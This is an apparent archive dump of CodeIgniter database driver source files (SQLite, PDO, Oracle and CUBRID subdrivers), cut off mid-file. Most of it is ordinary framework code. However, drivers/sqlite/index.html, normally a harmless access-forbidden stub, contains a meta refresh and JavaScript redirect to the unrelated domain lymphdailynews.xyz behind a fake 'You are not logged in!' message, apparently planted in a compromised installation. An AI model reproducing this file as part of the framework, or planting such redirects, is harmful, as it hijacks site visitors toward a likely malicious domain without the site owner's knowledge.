drivers/sqlite/sqlite_forge.php 0000644 00000012523 14642767146 0012743 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLite Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlite_forge extends CI_DB_forge { /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = FALSE; /** * UNSIGNED support * * @var bool|array */ protected $_unsigned = FALSE; /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * Create database * * @param string $db_name (ignored) * @return bool */ public function create_database($db_name) { // In SQLite, a database is created when you connect to the database. // We'll return TRUE so that an error isn't generated return TRUE; } // -------------------------------------------------------------------- /** * Drop database * * @param string $db_name (ignored) * @return bool */ public function drop_database($db_name) { if ( ! file_exists($this->db->database) OR ! @unlink($this->db->database)) { return ($this->db->db_debug) ? $this->db->display_error('db_unable_to_drop') : FALSE; } elseif ( ! empty($this->db->data_cache['db_names'])) { $key = array_search(strtolower($this->db->database), array_map('strtolower', $this->db->data_cache['db_names']), TRUE); if ($key !== FALSE) { unset($this->db->data_cache['db_names'][$key]); } } return TRUE; } // -------------------------------------------------------------------- /** * ALTER TABLE * * @todo implement drop_column(), modify_column() * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'DROP' OR $alter_type === 'CHANGE') { // drop_column(): // BEGIN TRANSACTION; // CREATE TEMPORARY TABLE t1_backup(a,b); // INSERT INTO t1_backup SELECT a,b FROM t1; // DROP TABLE t1; // CREATE TABLE t1(a,b); // INSERT INTO t1 SELECT a,b FROM t1_backup; // DROP TABLE t1_backup; // COMMIT; return FALSE; } return parent::_alter_table($alter_type, $table, $field); } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { return $this->db->escape_identifiers($field['name']) .' '.$field['type'] .$field['auto_increment'] .$field['null'] .$field['unique'] .$field['default']; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'ENUM': case 'SET': $attributes['TYPE'] = 'TEXT'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE && stripos($field['type'], 'int') !== FALSE) { $field['type'] = 'INTEGER PRIMARY KEY'; $field['default'] = ''; $field['null'] = ''; $field['unique'] = ''; $field['auto_increment'] = ' AUTOINCREMENT'; $this->primary_keys = array(); } } } drivers/sqlite/sqlite_result.php 0000644 00000010300 14642767147 0013147 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLite Result Class * * This class extends the parent result class: CI_DB_result * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlite_result extends CI_DB_result { /** * Number of rows in the result set * * @return int */ public function num_rows() { return is_int($this->num_rows) ? $this->num_rows : $this->num_rows = @sqlite_num_rows($this->result_id); } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { return @sqlite_num_fields($this->result_id); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $field_names[$i] = sqlite_field_name($this->result_id, $i); } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = sqlite_field_name($this->result_id, $i); $retval[$i]->type = NULL; $retval[$i]->max_length = NULL; } return $retval; } // -------------------------------------------------------------------- /** * Data Seek * * Moves the internal pointer to the desired offset. We call * this internally before fetching results to make sure the * result set starts at zero. * * @param int $n * @return bool */ public function data_seek($n = 0) { return sqlite_seek($this->result_id, $n); } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return sqlite_fetch_array($this->result_id); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { return sqlite_fetch_object($this->result_id, $class_name); } } drivers/sqlite/index.html 0000444 00000000605 14642767150 0011533 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/pdo/pdo_utility.php 0000644 00000004207 14642767152 0012103 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Utility Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/database/ */ class CI_DB_pdo_utility extends CI_DB_utility { /** * Export * * @param array $params Preferences * @return mixed */ protected function _backup($params = array()) { // Currently unsupported return $this->db->display_error('db_unsupported_feature'); } } drivers/pdo/pdo_driver.php 0000644 00000017142 14642767153 0011676 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'pdo'; /** * PDO Options * * @var array */ public $options = array(); // -------------------------------------------------------------------- /** * Class constructor * * Validates the DSN string and/or detects the subdriver. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (preg_match('/([^:]+):/', $this->dsn, $match) && count($match) === 2) { // If there is a minimum valid dsn string pattern found, we're done // This is for general PDO users, who tend to have a full DSN string. $this->subdriver = $match[1]; return; } // Legacy support for DSN specified in the hostname field elseif (preg_match('/([^:]+):/', $this->hostname, $match) && count($match) === 2) { $this->dsn = $this->hostname; $this->hostname = NULL; $this->subdriver = $match[1]; return; } elseif (in_array($this->subdriver, array('mssql', 'sybase'), TRUE)) { $this->subdriver = 'dblib'; } elseif ($this->subdriver === '4D') { $this->subdriver = '4d'; } elseif ( ! in_array($this->subdriver, array('4d', 'cubrid', 'dblib', 'firebird', 'ibm', 'informix', 'mysql', 'oci', 'odbc', 'pgsql', 'sqlite', 'sqlsrv'), TRUE)) { log_message('error', 'PDO: Invalid or non-existent subdriver'); if ($this->db_debug) { show_error('Invalid or non-existent PDO subdriver'); } } $this->dsn = NULL; } // -------------------------------------------------------------------- /** * Database connection * * @param bool $persistent * @return object */ public function db_connect($persistent = FALSE) { if ($persistent === TRUE) { $this->options[PDO::ATTR_PERSISTENT] = TRUE; } try { return new PDO($this->dsn, $this->username, $this->password, $this->options); } catch (PDOException $e) { if ($this->db_debug && empty($this->failover)) { $this->display_error($e->getMessage(), '', TRUE); } return FALSE; } } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } // Not all subdrivers support the getAttribute() method try { return $this->data_cache['version'] = $this->conn_id->getAttribute(PDO::ATTR_SERVER_VERSION); } catch (PDOException $e) { return parent::version(); } } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql SQL query * @return mixed */ protected function _execute($sql) { return $this->conn_id->query($sql); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { return $this->conn_id->beginTransaction(); } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { return $this->conn_id->commit(); } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { return $this->conn_id->rollBack(); } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { // Escape the string $str = $this->conn_id->quote($str); // If there are duplicated quotes, trim them away return ($str[0] === "'") ? substr($str, 1, -1) : $str; } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return is_object($this->result_id) ? $this->result_id->rowCount() : 0; } // -------------------------------------------------------------------- /** * Insert ID * * @param string $name * @return int */ public function insert_id($name = NULL) { return $this->conn_id->lastInsertId($name); } // -------------------------------------------------------------------- /** * Field data query * * Generates a platform-specific query so that the column data can be retrieved * * @param string $table * @return string */ protected function _field_data($table) { return 'SELECT TOP 1 * FROM '.$this->protect_identifiers($table); } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { $error = array('code' => '00000', 'message' => ''); $pdo_error = $this->conn_id->errorInfo(); if (empty($pdo_error[0])) { return $error; } $error['code'] = isset($pdo_error[1]) ? $pdo_error[0].'/'.$pdo_error[1] : $pdo_error[0]; if (isset($pdo_error[2])) { $error['message'] = $pdo_error[2]; } return $error; } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'TRUNCATE TABLE '.$table; } } drivers/pdo/pdo_result.php 0000644 00000011675 14642767154 0011727 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Result Class * * This class extends the parent result class: CI_DB_result * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_result extends CI_DB_result { /** * Number of rows in the result set * * @return int */ public function num_rows() { if (is_int($this->num_rows)) { return $this->num_rows; } elseif (count($this->result_array) > 0) { return $this->num_rows = count($this->result_array); } elseif (count($this->result_object) > 0) { return $this->num_rows = count($this->result_object); } elseif (($num_rows = $this->result_id->rowCount()) > 0) { return $this->num_rows = $num_rows; } return $this->num_rows = count($this->result_array()); } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { return $this->result_id->columnCount(); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return bool */ public function list_fields() { $field_names = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { // Might trigger an E_WARNING due to not all subdrivers // supporting getColumnMeta() $field_names[$i] = @$this->result_id->getColumnMeta($i); $field_names[$i] = $field_names[$i]['name']; } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { try { $retval = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $field = $this->result_id->getColumnMeta($i); $retval[$i] = new stdClass(); $retval[$i]->name = $field['name']; $retval[$i]->type = isset($field['native_type']) ? $field['native_type'] : null; $retval[$i]->max_length = ($field['len'] > 0) ? $field['len'] : NULL; $retval[$i]->primary_key = (int) ( ! empty($field['flags']) && in_array('primary_key', $field['flags'], TRUE)); } return $retval; } catch (Exception $e) { if ($this->db->db_debug) { return $this->db->display_error('db_unsupported_feature'); } return FALSE; } } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_object($this->result_id)) { $this->result_id = FALSE; } } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return $this->result_id->fetch(PDO::FETCH_ASSOC); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { return $this->result_id->fetchObject($class_name); } } drivers/pdo/pdo_forge.php 0000644 00000004145 14642767155 0011506 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Forge Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/database/ */ class CI_DB_pdo_forge extends CI_DB_forge { /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = FALSE; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = FALSE; } drivers/pdo/subdrivers/pdo_oci_driver.php 0000644 00000020433 14642767157 0014721 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Oracle Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_oci_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'oci'; // -------------------------------------------------------------------- /** * List of reserved identifiers * * Identifiers that must NOT be escaped. * * @var string[] */ protected $_reserved_identifiers = array('*', 'rownum'); /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('ASC', 'ASC'); // Currently not supported /** * COUNT string * * @used-by CI_DB_driver::count_all() * @used-by CI_DB_query_builder::count_all_results() * * @var string */ protected $_count_string = 'SELECT COUNT(1) AS '; // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'oci:dbname='; // Oracle has a slightly different PDO DSN format (Easy Connect), // which also supports pre-defined DSNs. if (empty($this->hostname) && empty($this->port)) { $this->dsn .= $this->database; } else { $this->dsn .= '//'.(empty($this->hostname) ? '127.0.0.1' : $this->hostname) .(empty($this->port) ? '' : ':'.$this->port).'/'; empty($this->database) OR $this->dsn .= $this->database; } empty($this->char_set) OR $this->dsn .= ';charset='.$this->char_set; } elseif ( ! empty($this->char_set) && strpos($this->dsn, 'charset=', 4) === FALSE) { $this->dsn .= ';charset='.$this->char_set; } } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } $version_string = parent::version(); if (preg_match('#Release\s(?<version>\d+(?:\.\d+)+)#', $version_string, $match)) { return $this->data_cache['version'] = $match[1]; } return FALSE; } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT "TABLE_NAME" FROM "ALL_TABLES"'; if ($prefix_limit === TRUE && $this->dbprefix !== '') { return $sql.' WHERE "TABLE_NAME" LIKE \''.$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { if (strpos($table, '.') !== FALSE) { sscanf($table, '%[^.].%s', $owner, $table); } else { $owner = $this->username; } return 'SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS WHERE UPPER(OWNER) = '.$this->escape(strtoupper($owner)).' AND UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (strpos($table, '.') !== FALSE) { sscanf($table, '%[^.].%s', $owner, $table); } else { $owner = $this->username; } $sql = 'SELECT COLUMN_NAME, DATA_TYPE, CHAR_LENGTH, DATA_PRECISION, DATA_LENGTH, DATA_DEFAULT, NULLABLE FROM ALL_TAB_COLUMNS WHERE UPPER(OWNER) = '.$this->escape(strtoupper($owner)).' AND UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); if (($query = $this->query($sql)) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->COLUMN_NAME; $retval[$i]->type = $query[$i]->DATA_TYPE; $length = ($query[$i]->CHAR_LENGTH > 0) ? $query[$i]->CHAR_LENGTH : $query[$i]->DATA_PRECISION; if ($length === NULL) { $length = $query[$i]->DATA_LENGTH; } $retval[$i]->max_length = $length; $default = $query[$i]->DATA_DEFAULT; if ($default === NULL && $query[$i]->NULLABLE === 'N') { $default = ''; } $retval[$i]->default = $query[$i]->COLUMN_DEFAULT; } return $retval; } // -------------------------------------------------------------------- /** * Insert batch statement * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string */ protected function _insert_batch($table, $keys, $values) { $keys = implode(', ', $keys); $sql = "INSERT ALL\n"; for ($i = 0, $c = count($values); $i < $c; $i++) { $sql .= ' INTO '.$table.' ('.$keys.') VALUES '.$values[$i]."\n"; } return $sql.'SELECT * FROM dual'; } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { if ($this->qb_limit) { $this->where('rownum <= ',$this->qb_limit, FALSE); $this->qb_limit = FALSE; } return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { if (version_compare($this->version(), '12.1', '>=')) { // OFFSET-FETCH can be used only with the ORDER BY clause empty($this->qb_orderby) && $sql .= ' ORDER BY 1'; return $sql.' OFFSET '.(int) $this->qb_offset.' ROWS FETCH NEXT '.$this->qb_limit.' ROWS ONLY'; } return 'SELECT * FROM (SELECT inner_query.*, rownum rnum FROM ('.$sql.') inner_query WHERE rownum < '.($this->qb_offset + $this->qb_limit + 1).')' .($this->qb_offset ? ' WHERE rnum >= '.($this->qb_offset + 1): ''); } } drivers/pdo/subdrivers/pdo_cubrid_driver.php 0000644 00000012645 14642767157 0015425 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO CUBRID Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_cubrid_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'cubrid'; /** * Identifier escape character * * @var string */ protected $_escape_char = '`'; /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RANDOM()', 'RANDOM(%d)'); // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param 